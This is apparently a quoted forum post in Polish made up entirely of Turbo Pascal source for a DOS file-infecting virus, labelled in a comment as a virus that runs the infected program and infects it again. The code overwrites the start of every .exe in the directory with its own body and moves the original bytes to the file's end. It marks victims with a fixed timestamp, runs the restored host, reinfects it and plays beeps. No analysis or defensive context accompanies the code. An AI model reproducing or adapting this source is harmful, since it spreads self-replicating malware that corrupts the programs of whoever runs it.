Cytuj:
{ wirus potrafiacy uruchomic zainfekowany program i zarazic go spowrotem}
program hllpclever;
Uses Dos,crt;
{$I-}
{$M 8192,0,16384}
const
Date=222222;
size=6736;
var
SR:SearchRec;
matka,plik : file;
Parametry : String;
Atrybuty : Word;
VirData, ExeData:array[1..size] of char;
x:Byte;
begin
clrscr;
Parametry:='';
Assign(Matka,ParamStr(0));
GetFAttr(Matka,Atrybuty);
SetFAttr(Matka,0);
Reset(Matka,1);
BlockRead(Matka, VirData, size);
SetFTime(Matka,Date);
Close(Matka);
SetFAttr(Matka,Atrybuty);
{Zarazanie plikow w katalogu}
FindFirst('*.exe', AnyFile, SR);
while (DosError=0) do begin
if ((SR.Attr<>Directory) and (SR.Time<>Date))
and (SR.Size>=size) then begin
Assign(Plik,SR.Name);
GetFAttr(Plik,Atrybuty);
SetFAttr(Plik,0);
Reset(Plik,1);
BlockRead(Plik, ExeData, size);
Seek(Plik, SR.Size);
BlockWrite(Plik, ExeData, Size);
Seek(Plik, 0);
BlockWrite(Plik, VirData, size);
SetFTime(Plik,date);
Close(Plik);
SetFAttr(Plik,Atrybuty);
end;
FindNext(SR);
end;
for x:=1 to ParamCount do Parametry:=Parametry+' '+ParamStr(x);
parametry:='/C '+ParamStr(0)+Parametry;
Assign(Matka,ParamStr(0));
GetFAttr(Matka,Atrybuty);
SetFAttr(Matka,0);
Reset(Matka,1);
Seek(Matka,FileSize(Matka)-size);
BlockRead(Matka, ExeData, size);
Seek(Matka, 0);
BlockWrite(Matka, ExeData, size);
SetFTime(Matka, date);
Close(Matka);
SetFAttr(Matka,Atrybuty);
{odpalamy wyleczony program}
SwapVectors;
Exec(GetEnv('COMSPEC'),Parametry);
SwapVectors;
{Ponowne zarazenie}
Assign(Matka,ParamStr(0));
GetFAttr(Matka,Atrybuty);
SetFAttr(Matka,0);
Repeat
Reset(Matka,1);
until IOResult=0;
BlockWrite(Matka, VirData, Size);
SetFTime(Matka, Date);
Close(Matka);
SetFAttr(Matka,Atrybuty);
Sound(2300);
Delay(800);
Nosound;
Sound(1500);
Delay(500);
Nosound;
Sound(2500);
Delay(600);
Nosound;
end.